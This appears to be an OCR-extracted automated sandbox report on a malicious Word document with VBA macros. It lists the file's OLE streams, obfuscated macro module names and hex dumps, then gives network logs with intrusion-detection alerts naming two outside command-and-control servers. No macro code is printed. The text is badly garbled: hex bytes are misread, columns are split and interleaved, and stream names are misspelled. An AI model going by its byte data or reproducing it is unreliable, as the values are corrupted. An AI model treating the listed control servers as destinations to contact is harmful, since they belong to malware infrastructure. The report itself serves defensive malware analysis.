74 2e 38 00 f4 39 b2 71 00 00 00 00 00 00 00 00 00 00 00 00

Stream Path: \xX5DocumentSummarylnformation, File Type: data, Stream Size: 4096

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Copyright null 2021

\x5DocumentSummarylnformation
data

4096

0.252421588676

False
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General

Data Raw:

Stream Path: \xX5Summarylnformation, File Type: data, Stream Size: 540

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: 1Table, File Type: data, Stream Size: 7215

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: Data, File Type: data, Stream Size: 99187

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 02 d5
cd d5 9c¢ 2e 1b 10 93 97 08 00 2b 2c f9 ae 30 00 00 00 e8 00 00 00 Oc 00 00 00 01 00 00 00
68 00 00 00 Of 00 00 00 70 00 00 00 05 00 00 00 7c 00 00 00 06 00 00 00 84 00 00 00 11 00
00 00 8¢ 00 00 00 17 00 00 00 94 00 00 00 Ob 00 00 00 9¢ 00 00 00 10 00 00 00 a4 00 00 00
13 00 00 00 ac 00 00 00

\x5Summaryinformation
data

540

4.15125561243

False

fe ff 00 00 06 02 02 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 00 e0 85 9f
2 f9 4f 68 10 ab 91 08 00 2b 27 b3 d9 30 00 00 00 ec 01 00 00 11 00 00 00 01 00 00 00 90 00
00 00 02 00 00 00 98 00 00 00 03 00 00 00 70 01 00 00 04 00 00 00 58 01 00 00 05 00 00 00
a4 00 00 00 06 00 00 00 b0 00 00 00 07 00 00 00 bc 00 00 00 08 00 00 00 40 01 00 00 09 00
00 00 d0 00 00 00

1Table

data

7215
5.85534358506

True

6...6...6...6...6...6...6...6...6...6...6...

0Oa 06 0f 00 12 00 01 00 73 01 Of 00 07 00 03 00 03 00 03 00 00 00 04 00 08 00 00 00 98 00
00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00 9e 00 00 00
9e 00 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06 00 00 36 06
00 00 36 06 00 00 36 06 00 00 76 02 00 00 76 02 00 00 76 02 00 00 76 02 00 00 76 02 00 00
76 02 00 00 76 02 00 00

Data

data

99187
7.38968888242

True

738301 00 44 00 64 00 00 00 00 00 00 00 Oa 00 00 00 00 00 00 00 00 00 00 00 00 00 2f 67
eb 2c 62 01 72 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 0f 00 04 fO 6a 00 00 00 b2 04 Oa fO 08 00 00 00 01 04 00 00 00 Oa 00
00 63 00 Ob f0 38 00 00 00 04 41 01 00 00 00 3f 01 00 00 06 00 bf 01 00 00 10 00 ff 01 00 00
08 00 80 c3 14 00

Stream Path: Macros/PROJECT, File Type: ASCII text, with CRLF line terminators, Stream Size: 903

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Copyright null 2021

Macros/PROJECT

ASCII text, with CRLF line terminators
903

5.32016542547

True

ID="{A1A8252F-41ED-438E-A9E2-80E5652EEF33}"..Docume
Nt=R4bmO01lnsbtdtl/&H00000000..Package={AC9F2F90-E877
-11CE-9F68-00AA00574A4F}..BaseClass=UserForml..Base
Class=UserForm2..BaseClass=UserForm3..BaseClass=User
Form4..BaseClass=UserForm5..Module=Qfepbztq9r801176
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General

Data Raw:

Stream Path: Macros/PROJECTwm, File Type: data, Stream Size: 284

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: Macros/UserForm1/\x1CompObj, File Type: data, Stream Size: 97

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

4944 3d 22 7b 41 31 41 38 32 35 32 46 2d 34 31 45 44 2d 34 33 38 45 2d 41 39 45 32 2d 38
30 45 35 36 35 32 45 45 46 33 33 7d 22 0d Oa 44 6f 63 75 6d 65 6e 74 3d 52 34 62 6d 30 31
6e 73 62 74 64 74 31 2f 26 48 30 30 30 30 30 30 30 30 0d 0a 50 61 63 6b 61 67 65 3d 7b 41
4339 46 32 46 39 30 2d 45 38 37 37 2d 31 31 43 45 2d 39 46 36 38 2d 30 30 41 41 30 30 35
37 3441 34 46 7d 0d Oa

Macros/PROJECTwm
data

284

3.71118828619

False

R4bmOlnsbtdtl.R.4.b.m.0.1.n.s.b.t.d.t.1...UserForml.U.s.e
.F.o.rrm.1...UserForm2.U.s.e.r.F.o.r.m.2...UserForm3.U.s
.r.F.o.r.m.3...UserForm4.U.s.e.r.F.o.r.m.4...UserForm5.U
.e.r.F.o.r.m.5...Qfepbztq9r801176.Q.f.e.p.b.z.t.q.9.r.8.0.
1.1.7.6...L6bihtdtnasc.

n o =

52 34 62 6d 30 31 6e 73 62 74 64 74 31 00 52 00 34 00 62 00 6d 00 30 00 31 00 6e 00 73 00
62 00 74 00 64 00 74 00 31 00 00 00 55 73 65 72 46 6f 72 6d 31 00 55 00 73 00 65 00 72 00
46 00 6f 00 72 00 6d 00 31 00 00 00 55 73 65 72 46 6f 72 6d 32 00 55 00 73 00 65 00 72 00
46 00 6f 00 72 00 6d 00 32 00 00 00 55 73 65 72 46 6f 72 6d 33 00 55 00 73 00 65 00 72 00
46 00 6f 00 72 00 6d 00

Macros/UserForm1/\x1CompObj
data

97

3.61064918306

False

01 00 fe ff 03 0a 00 00 ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 00 00
4d 69 63 72 6f 73 6f 66 74 20 46 6f 72 6d 73 20 32 2e 30 20 46 6f 72 6d 00 10 00 00 00 45 6d
62 65 64 64 65 64 20 4f 62 6a 65 63 74 00 00 00 00 00 f4 39 b2 71 00 00 00 00 00 00 00 00

00 00 00 00

Stream Path: Macros/UserForm1/\x3VBFrame, File Type: ASCII text, with CRLF line terminators, Stream Size: 266

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: Macros/UserForm1/f, File Type: data, Stream Size: 38

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: Macros/UserForm1l/o, File Type: empty, Stream Size: 0

Copyright null 2021

Macros/UserForm1/A\x3VBFrame
ASCII text, with CRLF line terminators
266

4.62034133633

True

VERSION 5.00..Begin {C62A69F0-16DC-11CE-9E98-00AA00

574A4F} UserForml Caption = "UserForm1l"..
ClientHeight = 3015.. ClientLeft = 120.. Clie
ntTop = 465.. ClientWidth = 4560.. StartUp
Position = 1 'CenterOw

56 45 52 53 49 4f 4e 20 35 2e 30 30 0d 0a 42 65 67 69 6e 20 7b 43 36 32 41 36 39 46 30 2d
3136 44 43 2d 31 31 43 45 2d 39 45 39 38 2d 30 30 41 41 30 30 35 37 34 41 34 46 7d 20 55
7365 72 46 6f 72 6d 31 20 0d Oa 20 20 20 43 61 70 74 69 6f 6e 20 20 20 20 20 20 20 20 20
3d 20 20 20 22 55 73 65 72 46 6f 72 6d 31 22 0d 0a 20 20 20 43 6¢ 69 65 6e 74 48 65 69 67
68 74 20 20 20 20 3d 20

Macros/UserForm1/f
data

38

1.54052096453

False

00 04 18 00 00 Oc 00 08 00 7d 00 00 6b 1f 00 00 c6 14 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00
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General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: Macros/UserForm2/\x1CompObj, File Type: data, Stream Size: 97

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Macros/UserForm1/o
empty

0

0.0

False

Macros/UserForm2/\x1CompObj
data

97

3.61064918306

False

01 00 fe ff 03 0a 00 00 ff ff f ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 00 00
4d 69 63 72 6f 73 6f 66 74 20 46 6f 72 6d 73 20 32 2e 30 20 46 6f 72 6d 00 10 00 00 00 45 6d
62 65 64 64 65 64 20 4f 62 6a 65 63 74 00 00 00 00 00 f4 39 b2 71 00 00 00 00 00 00 00 00

00 00 00 00

Stream Path: Macros/UserForm2/\x3VBFrame, File Type: ASCII text, with CRLF line terminators, Stream Size: 266

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: Macros/UserForm2/f, File Type: data, Stream Size: 38

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: Macros/UserForm2/o, File Type: empty, Stream Size: 0

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: Macros/UserForm3/\x1CompObj, File Type: data, Stream Size: 97

General

Stream Path:

File Type:
Copyright null 2021

Macros/UserForm2/\x3VBFrame
ASCII text, with CRLF line terminators
266

4.62970308443

True

VERSION 5.00..Begin {C62A69F0-16DC-11CE-9E98-00AA00

574A4F} UserForm?2 Caption = "UserForm2"..
ClientHeight = 3015.. ClientLeft = 120.. Clie
ntTop = 465.. ClientWidth = 4560.. StartUp
Position = 1 'CenterOw

56 45 52 53 49 4f 4e 20 35 2e 30 30 0d 0a 42 65 67 69 6e 20 7b 43 36 32 41 36 39 46 30 2d
3136 44 43 2d 31 31 43 45 2d 39 45 39 38 2d 30 30 41 41 30 30 35 37 34 41 34 46 7d 20 55
7365 72 46 6f 72 6d 32 20 0d Oa 20 20 20 43 61 70 74 69 6f 6e 20 20 20 20 20 20 20 20 20
3d 20 20 20 22 55 73 65 72 46 6f 72 6d 32 22 0d 0a 20 20 20 43 6¢ 69 65 6e 74 48 65 69 67
68 74 20 20 20 20 3d 20

Macros/UserForm2/f
data

38

1.54052096453

False

00 04 18 00 00 Oc 00 08 00 7d 00 00 6b 1f 00 00 c6 14 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00

Macros/UserForm2/o
empty

0

0.0

False

Macros/UserForm3/\x1CompObj

data
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General

Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

97
3.61064918306

False

01 00 fe ff 03 0a 00 00 ff ff f ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 00 00
4d 69 63 72 6f 73 6f 66 74 20 46 6f 72 6d 73 20 32 2e 30 20 46 6f 72 6d 00 10 00 00 00 45 6d
62 65 64 64 65 64 20 4f 62 6a 65 63 74 00 00 00 00 00 f4 39 b2 71 00 00 00 00 00 00 00 00

00 00 00 00

Stream Path: Macros/UserForm3/\x3VBFrame, File Type: ASCII text, with CRLF line terminators, Stream Size: 266

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: Macros/UserForm3/f, File Type: data, Stream Size: 38

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: Macros/UserForm3J/o, File Type: empty, Stream Size: 0

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: Macros/UserForm4/\x1CompObj, File Type: data, Stream Size: 97

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Macros/UserForm3/\x3VBFrame
ASCII text, with CRLF line terminators
266

4.63438395848

True

VERSION 5.00..Begin {C62A69F0-16DC-11CE-9E98-00AA00

574A4F} UserForm3 Caption = "UserForm3"..
ClientHeight = 3015.. ClientLeft = 120.. Clie
ntTop = 465.. ClientWidth = 4560.. StartUp
Position = 1 'CenterOw

56 45 52 53 49 4f 4e 20 35 2e 30 30 0d Oa 42 65 67 69 6e 20 7b 43 36 32 41 36 39 46 30 2d
3136 44 43 2d 31 31 43 45 2d 39 45 39 38 2d 30 30 41 41 30 30 35 37 34 41 34 46 7d 20 55
7365 72 46 6f 72 6d 33 20 0d Oa 20 20 20 43 61 70 74 69 6f 6e 20 20 20 20 20 20 20 20 20
3d 20 20 20 22 55 73 65 72 46 6f 72 6d 33 22 0d 0a 20 20 20 43 6¢ 69 65 6e 74 48 65 69 67
68 74 20 20 20 20 3d 20

Macros/UserForm3/f
data

38

1.54052096453

False

00 04 18 00 00 Oc 00 08 00 7d 00 00 6b 1f 00 00 c6 14 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00

Macros/UserForm3/o
empty

0

0.0

False

Macros/UserForm4/\x1CompObj
data

97

3.61064918306

False

01 00 fe ff 03 0a 00 00 ff ff ff ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 00 00
4d 69 63 72 6f 73 6f 66 74 20 46 6f 72 6d 73 20 32 2e 30 20 46 6f 72 6d 00 10 00 00 00 45 6d
62 65 64 64 65 64 20 4f 62 6a 65 63 74 00 00 00 00 00 f4 39 b2 71 00 00 00 00 00 00 00 00

00 00 00 00

Stream Path: Macros/UserForm4/\x3VBFrame, File Type: ASCII text, with CRLF line terminators, Stream Size: 266

General
Stream Path:

Copyright null 2021

Macros/UserForm4/\x3VBFrame
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General

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: Macros/UserFormdl/f, File Type: data, Stream Size: 38

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: Macros/UserFormd/o, File Type: empty, Stream Size: 0

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Stream Path: Macros/UserForm5/\x1CompObj, File Type: data, Stream Size: 97

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

ASCII text, with CRLF line terminators
266

4.62402723855

True

VERSION 5.00..Begin {C62A69F0-16DC-11CE-9E98-00AA00

574A4F} UserForm4 Caption = "UserForm4"..
ClientHeight = 3015.. ClientLeft = 120.. Clie
ntTop = 465.. ClientWidth = 4560.. StartUp
Position = 1 'CenterOw

56 45 52 53 49 4f 4e 20 35 2e 30 30 0d 0a 42 65 67 69 6e 20 7b 43 36 32 41 36 39 46 30 2d
3136 44 43 2d 31 31 43 45 2d 39 45 39 38 2d 30 30 41 41 30 30 35 37 34 41 34 46 7d 20 55
7365 72 46 6f 72 6d 34 20 0d Oa 20 20 20 43 61 70 74 69 6f 6e 20 20 20 20 20 20 20 20 20
3d 20 20 20 22 55 73 65 72 46 6f 72 6d 34 22 0d 0a 20 20 20 43 6¢ 69 65 6e 74 48 65 69 67
68 74 20 20 20 20 3d 20

Macros/UserForm4/f
data

38

1.54052096453

False

00 04 18 00 00 Oc 00 08 00 7d 00 00 6b 1f 00 00 c6 14 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00

Macros/UserForm4/o
empty

0

0.0

False

Macros/UserForm5/\x1CompObj
data

97

3.61064918306

False

01 00 fe ff 03 0a 00 00 ff ff f ff 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 19 00 00 00
4d 69 63 72 6f 73 6f 66 74 20 46 6f 72 6d 73 20 32 2e 30 20 46 6f 72 6d 00 10 00 00 00 45 6d
62 65 64 64 65 64 20 4f 62 6a 65 63 74 00 00 00 00 00 f4 39 b2 71 00 00 00 00 00 00 00 00

00 00 00 00

Stream Path: Macros/UserForm5/\x3VBFrame, File Type: ASCII text, with CRLF line terminators, Stream Size: 266

General

Stream Path:

File Type:
Stream Size:
Entropy:

Base64 Encoded:
Data ASCII:

Data Raw:

Copyright null 2021

Macros/UserForm5/\x3VBFrame
ASCII text, with CRLF line terminators
266

4.62202697924

True

VERSION 5.00..Begin {C62A69F0-16DC-11CE-9E98-00AA00

574A4F} UserForms Caption = "UserForm5"..
ClientHeight = 3015.. ClientLeft = 120.. Clie
ntTop = 465.. ClientWidth = 4560.. StartUp
Position = 1 'CenterOw

56 45 52 53 49 4f 4e 20 35 2e 30 30 0d 0a 42 65 67 69 6e 20 7b 43 36 32 41 36 39 46 30 2d
3136 44 43 2d 31 31 43 45 2d 39 45 39 38 2d 30 30 41 41 30 30 35 37 34 41 34 46 7d 20 55
7365 72 46 6f 72 6d 35 20 0d Oa 20 20 20 43 61 70 74 69 6f 6e 20 20 20 20 20 20 20 20 20
3d 20 20 20 22 55 73 65 72 46 6f 72 6d 35 22 0d 0a 20 20 20 43 6¢ 69 65 6e 74 48 65 69 67
68 74 20 20 20 20 3d 20
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Stream Path: Macros/UserForm5/f, File Type: data, Stream Size: 38

General

Stream Path: Macros/UserForm5/f

File Type: data

Stream Size: 38

Entropy: 1.54052096453

Base64 Encoded: False

Data ASCIl: Yook

Data Raw: 00 04 18 00 00 Oc 00 08 00 7d 00 00 6b 1f 00 00 c6 14 00 00 00 00 00 00 00 00 00 00 00 00

00 00 00 00 00 00 00 00

Stream Path: Macros/UserFormb5/o, File Type: empty, Stream Size: 0

General

Stream Path: Macros/UserForm5/o
File Type: empty

Stream Size: 0

Entropy: 0.0

Base64 Encoded: False

Data ASCII:

Data Raw:

Stream Path: Macros/VBAI_VBA_PROJECT, File Type: data, Stream Size: 5945

General

Stream Path: Macros/VBA/_VBA_PROJECT

File Type: data

Stream Size: 5945

Entropy: 5.2694333372

Base64 Encoded: False

Data ASCII: B *\.G.{.0.0.0.2.0.4.E.F.-.0.0.0.
0.-.0.0.0.0.-.C.0.0.0.-.0.0.0.0.0.0.0.0.0.0.4.6.}.#.4...2.#.9.
#.C.:.\.P.R.0O.G.R.A.~.2.\.C.O.M.M.O.N.~.1.\.M.I.C.R.O.S.
~.1.\.V.B.A.\.V.B.A.7...1.\.V.B.E.7...D.L.L.#.V.i.s.u.a.l. .B
.a.s.i.c.

Data Raw: cc 61 a3 00 00 01 00 ff 09 04 00 00 09 04 00 00 e4 04 01 00 00 00 00 00 00 00 00 00 01 00

06 00 02 00 fe 00 2a 00 5¢ 00 47 00 7b 00 30 00 30 00 30 00 32 00 30 00 34 00 45 00 46 00
2d 00 30 00 30 00 30 00 30 00 2d 00 30 00 30 00 30 00 30 00 2d 00 43 00 30 00 30 00 30 00
2d 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 30 00 34 00 36 00 7d 00 23 00
34 00 2e 00 32 00 23 00

Stream Path: Macros/VBA/dir, File Type: VAX-order 68K Blit (standalone) executable, Stream Size: 1035

General

Stream Path: Macros/VBA/dir

File Type: VAX-order 68K Blit (standalone) executable

Stream Size: 1035

Entropy: 6.65461326361

Base64 Encoded: True

Data ASCIl: 0*..... p..H.."..d..... . Q.0.@..... = AT a.
Ja<. rstd.ole>.2s.t..d.o.l.eP...h.%"..*.\G{00020.430-....
C....... 0046}#.2.0#0#C:.\Windows.\SysWOW®6.4\.e2.tlb.#0
LE Aut.omation. ..... Normal..EN.Cr.m.aQ.F.. ..... *IWC....v.m
.10.ffic.gO

Data Raw: 01 07 b4 80 01 00 04 00 00 00 01 00 30 2a 02 02 90 09 00 70 14 06 48 03 00 22 02 00 64 e4

04 04 02 84 5f 5f 51 00 30 00 00 40 02 14 06 02 14 3d ad 02 14 07 02 60 01 14 08 06 12 09
02 12 80 b2 af d0 61 08 00 Oc 02 4a 12 3¢ 02 0a 16 00 01 72 73 74 64 10 6f 6¢ 65 3e 02 32
7300 74 00 00 64 00 6f 00 6¢ 00 65 50 00 0d 00 68 00 25 5e 00 03 2a 00 5¢ 47 7b 30 30 30
32 30 b0 34 33 30 2d 00

Stream Path: WordDocument, File Type: data, Stream Size: 42542

General

Stream Path: WordDocument
File Type: data

Stream Size: 42542

Entropy: 3.70237315313

Base64 Encoded:

Copyright null 2021

False
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General

Data ASCII:

Data Raw: ec a5 c1 00 5b e0 09 04 00 00 f8 12 bf 00 00 00 00 00 00 10 00 00 00 00 00 08 00 00 6¢ a0
00 00 Oe 00 62 6a 62 6a 12 Ob 12 Ob 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
09 04 16 00 2e a6 00 00 70 61 21 5¢ 70 61 21 5¢ 6¢ 98 00 00 00 00 00 00 00 00 00 00 00 00
00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ff ff 0f 00 00 00 00 00 00 00 00 00 ff ff

0f 00 00 00 00 00
Network Behavior
Snort IDS Alerts

Source Dest

Timestamp Protocol SID Message Port Port Source IP Dest IP
01/08/21- TCP 2404314 ET CNC Feodo Tracker Reported CnC Server TCP group 8 49168 80 192.168.2.22 184.66.18.83
18:11:26.387863
01/08/21- TCP 2404308 ET CNC Feodo Tracker Reported CnC Server TCP group 5 49171 443 192.168.2.22 167.71.148.58

18:12:25.548559

Network Port Distribution

Total Packets: 33

® 53 (DNS)

® 80 (HTTP)
TCP Packets
Timestamp Source Port Dest Port Source IP Dest IP
Jan 8, 2021 18:11:08.655865908 CET 49167 80 192.168.2.22 216.218.207.98
Jan 8, 2021 18:11:08.845896959 CET 80 49167 216.218.207.98 192.168.2.22
Jan 8, 2021 18:11:08.845983982 CET 49167 80 192.168.2.22 216.218.207.98
Jan 8, 2021 18:11:08.848408937 CET 49167 80 192.168.2.22 216.218.207.98
Jan 8, 2021 18:11:09.038312912 CET 80 49167 216.218.207.98 192.168.2.22
Jan 8, 2021 18:11:09.140847921 CET 80 49167 216.218.207.98 192.168.2.22
Jan 8, 2021 18:11:09.140904903 CET 80 49167 216.218.207.98 192.168.2.22
Jan 8, 2021 18:11:09.140934944 CET 80 49167 216.218.207.98 192.168.2.22
Jan 8, 2021 18:11:09.140964985 CET 80 49167 216.218.207.98 192.168.2.22
Jan 8, 2021 18:11:09.141005993 CET 80 49167 216.218.207.98 192.168.2.22
Jan 8, 2021 18:11:09.141042948 CET 80 49167 216.218.207.98 192.168.2.22
Jan 8, 2021 18:11:09.141083002 CET 80 49167 216.218.207.98 192.168.2.22
Jan 8, 2021 18:11:09.141129971 CET 80 49167 216.218.207.98 192.168.2.22
Jan 8, 2021 18:11:09.141172886 CET 80 49167 216.218.207.98 192.168.2.22
Jan 8, 2021 18:11:09.141208887 CET 80 49167 216.218.207.98 192.168.2.22
Jan 8, 2021 18:11:09.141242981 CET 49167 80 192.168.2.22 216.218.207.98
Jan 8, 2021 18:11:09.141288042 CET 49167 80 192.168.2.22 216.218.207.98
Jan 8, 2021 18:11:09.141294956 CET 49167 80 192.168.2.22 216.218.207.98
Jan 8, 2021 18:11:09.330950975 CET 80 49167 216.218.207.98 192.168.2.22
Jan 8, 2021 18:11:09.331037045 CET 80 49167 216.218.207.98 192.168.2.22
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Timestamp Source Port Dest Port Source IP Dest IP

Jan 8, 2021 18:11:09.331068039 CET 80 49167 216.218.207.98 192.168.2.22
Jan 8, 2021 18:11:09.331098080 CET 80 49167 216.218.207.98 192.168.2.22
Jan 8, 2021 18:11:09.331129074 CET 80 49167 216.218.207.98 192.168.2.22
Jan 8, 2021 18:11:09.331167936 CET 80 49167 216.218.207.98 192.168.2.22
Jan 8, 2021 18:11:09.331207991 CET 80 49167 216.218.207.98 192.168.2.22
Jan 8, 2021 18:11:09.331245899 CET 80 49167 216.218.207.98 192.168.2.22
Jan 8, 2021 18:11:09.331284046 CET 80 49167 216.218.207.98 192.168.2.22
Jan 8, 2021 18:11:09.331321001 CET 80 49167 216.218.207.98 192.168.2.22
Jan 8, 2021 18:11:09.331363916 CET 49167 80 192.168.2.22 216.218.207.98
Jan 8, 2021 18:11:09.331367970 CET 80 49167 216.218.207.98 192.168.2.22
Jan 8, 2021 18:11:09.331396103 CET 49167 80 192.168.2.22 216.218.207.98
Jan 8, 2021 18:11:09.331402063 CET 49167 80 192.168.2.22 216.218.207.98
Jan 8, 2021 18:11:09.331410885 CET 80 49167 216.218.207.98 192.168.2.22
Jan 8, 2021 18:11:09.331448078 CET 80 49167 216.218.207.98 192.168.2.22
Jan 8, 2021 18:11:09.331485987 CET 80 49167 216.218.207.98 192.168.2.22
Jan 8, 2021 18:11:09.331490993 CET 49167 80 192.168.2.22 216.218.207.98
Jan 8, 2021 18:11:09.331525087 CET 80 49167 216.218.207.98 192.168.2.22
Jan 8, 2021 18:11:09.331562042 CET 80 49167 216.218.207.98 192.168.2.22
Jan 8, 2021 18:11:09.331564903 CET 49167 80 192.168.2.22 216.218.207.98
Jan 8, 2021 18:11:09.331599951 CET 80 49167 216.218.207.98 192.168.2.22
Jan 8, 2021 18:11:09.331625938 CET 49167 80 192.168.2.22 216.218.207.98
Jan 8, 2021 18:11:09.331640959 CET 80 49167 216.218.207.98 192.168.2.22
Jan 8, 2021 18:11:09.331688881 CET 80 49167 216.218.207.98 192.168.2.22
Jan 8, 2021 18:11:09.331718922 CET 49167 80 192.168.2.22 216.218.207.98
Jan 8, 2021 18:11:09.331732035 CET 80 49167 216.218.207.98 192.168.2.22
Jan 8, 2021 18:11:09.331803083 CET 49167 80 192.168.2.22 216.218.207.98
Jan 8, 2021 18:11:09.332166910 CET 49167 80 192.168.2.22 216.218.207.98
Jan 8, 2021 18:11:09.521433115 CET 80 49167 216.218.207.98 192.168.2.22
Jan 8, 2021 18:11:09.521506071 CET 80 49167 216.218.207.98 192.168.2.22
Jan 8, 2021 18:11:09.521547079 CET 80 49167 216.218.207.98 192.168.2.22
Jan 8, 2021 18:11:09.521584034 CET 80 49167 216.218.207.98 192.168.2.22
Jan 8, 2021 18:11:09.521584034 CET 49167 80 192.168.2.22 216.218.207.98
Jan 8, 2021 18:11:09.521624088 CET 80 49167 216.218.207.98 192.168.2.22
Jan 8, 2021 18:11:09.521667004 CET 80 49167 216.218.207.98 192.168.2.22
Jan 8, 2021 18:11:09.521683931 CET 49167 80 192.168.2.22 216.218.207.98
Jan 8, 2021 18:11:09.521714926 CET 80 49167 216.218.207.98 192.168.2.22
Jan 8, 2021 18:11:09.521758080 CET 80 49167 216.218.207.98 192.168.2.22
Jan 8, 2021 18:11:09.521770954 CET 49167 80 192.168.2.22 216.218.207.98
Jan 8, 2021 18:11:09.521795034 CET 80 49167 216.218.207.98 192.168.2.22
Jan 8, 2021 18:11:09.521832943 CET 80 49167 216.218.207.98 192.168.2.22
Jan 8, 2021 18:11:09.521852016 CET 49167 80 192.168.2.22 216.218.207.98
Jan 8, 2021 18:11:09.521871090 CET 80 49167 216.218.207.98 192.168.2.22
Jan 8, 2021 18:11:09.521907091 CET 80 49167 216.218.207.98 192.168.2.22
Jan 8, 2021 18:11:09.521943092 CET 49167 80 192.168.2.22 216.218.207.98
Jan 8, 2021 18:11:09.521945000 CET 80 49167 216.218.207.98 192.168.2.22
Jan 8, 2021 18:11:09.521981955 CET 80 49167 216.218.207.98 192.168.2.22
Jan 8, 2021 18:11:09.521996975 CET 49167 80 192.168.2.22 216.218.207.98
Jan 8, 2021 18:11:09.522032022 CET 80 49167 216.218.207.98 192.168.2.22
Jan 8, 2021 18:11:09.522042036 CET 49167 80 192.168.2.22 216.218.207.98
Jan 8, 2021 18:11:09.522074938 CET 80 49167 216.218.207.98 192.168.2.22
Jan 8, 2021 18:11:09.522113085 CET 80 49167 216.218.207.98 192.168.2.22
Jan 8, 2021 18:11:09.522128105 CET 49167 80 192.168.2.22 216.218.207.98
Jan 8, 2021 18:11:09.522151947 CET 80 49167 216.218.207.98 192.168.2.22
Jan 8, 2021 18:11:09.522190094 CET 80 49167 216.218.207.98 192.168.2.22
Jan 8, 2021 18:11:09.522218943 CET 49167 80 192.168.2.22 216.218.207.98
Jan 8, 2021 18:11:09.522226095 CET 80 49167 216.218.207.98 192.168.2.22
Jan 8, 2021 18:11:09.522264957 CET 80 49167 216.218.207.98 192.168.2.22
Jan 8, 2021 18:11:09.522268057 CET 49167 80 192.168.2.22 216.218.207.98
Jan 8, 2021 18:11:09.522301912 CET 80 49167 216.218.207.98 192.168.2.22
Jan 8, 2021 18:11:09.522339106 CET 49167 80 192.168.2.22 216.218.207.98
Jan 8, 2021 18:11:09.522349119 CET 80 49167 216.218.207.98 192.168.2.22
Jan 8, 2021 18:11:09.522391081 CET 80 49167 216.218.207.98 192.168.2.22
Jan 8, 2021 18:11:09.522407055 CET 49167 80 192.168.2.22 216.218.207.98
Jan 8, 2021 18:11:09.522428036 CET 80 49167 216.218.207.98 192.168.2.22
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Timestamp

Jan 8, 2021 18:11:09.522468090 CET
Jan 8, 2021 18:11:09.522481918 CET
Jan 8, 2021 18:11:09.522505999 CET
Jan 8, 2021 18:11:09.522542000 CET
Jan 8, 2021 18:11:09.522567034 CET
Jan 8, 2021 18:11:09.522579908 CET
Jan 8, 2021 18:11:09.522617102 CET
Jan 8, 2021 18:11:09.522638083 CET
Jan 8, 2021 18:11:09.522665024 CET
Jan 8, 2021 18:11:09.522706985 CET
Jan 8, 2021 18:11:09.522716999 CET
Jan 8, 2021 18:11:09.522743940 CET
Jan 8, 2021 18:11:09.522782087 CET
Jan 8, 2021 18:11:09.522816896 CET
Jan 8, 2021 18:11:09.522819042 CET
Jan 8, 2021 18:11:09.522855043 CET

UDP Packets

Source Port
80
49167
80

80
49167
80

80
49167
80

80
49167
80

80
49167
80

80

Timestamp Source Port
Jan 8, 2021 18:11:08.569987059 CET 52197

Jan 8, 2021 18:11:08.637545109 CET 53

DNS Queries

Timestamp Source IP Dest IP

Jan 8, 2021 18:11:08.569987059 CET 192.168.2.22 8.8.8.8
DNS Answers

Timestamp Source IP Dest IP Trans ID Reply Code
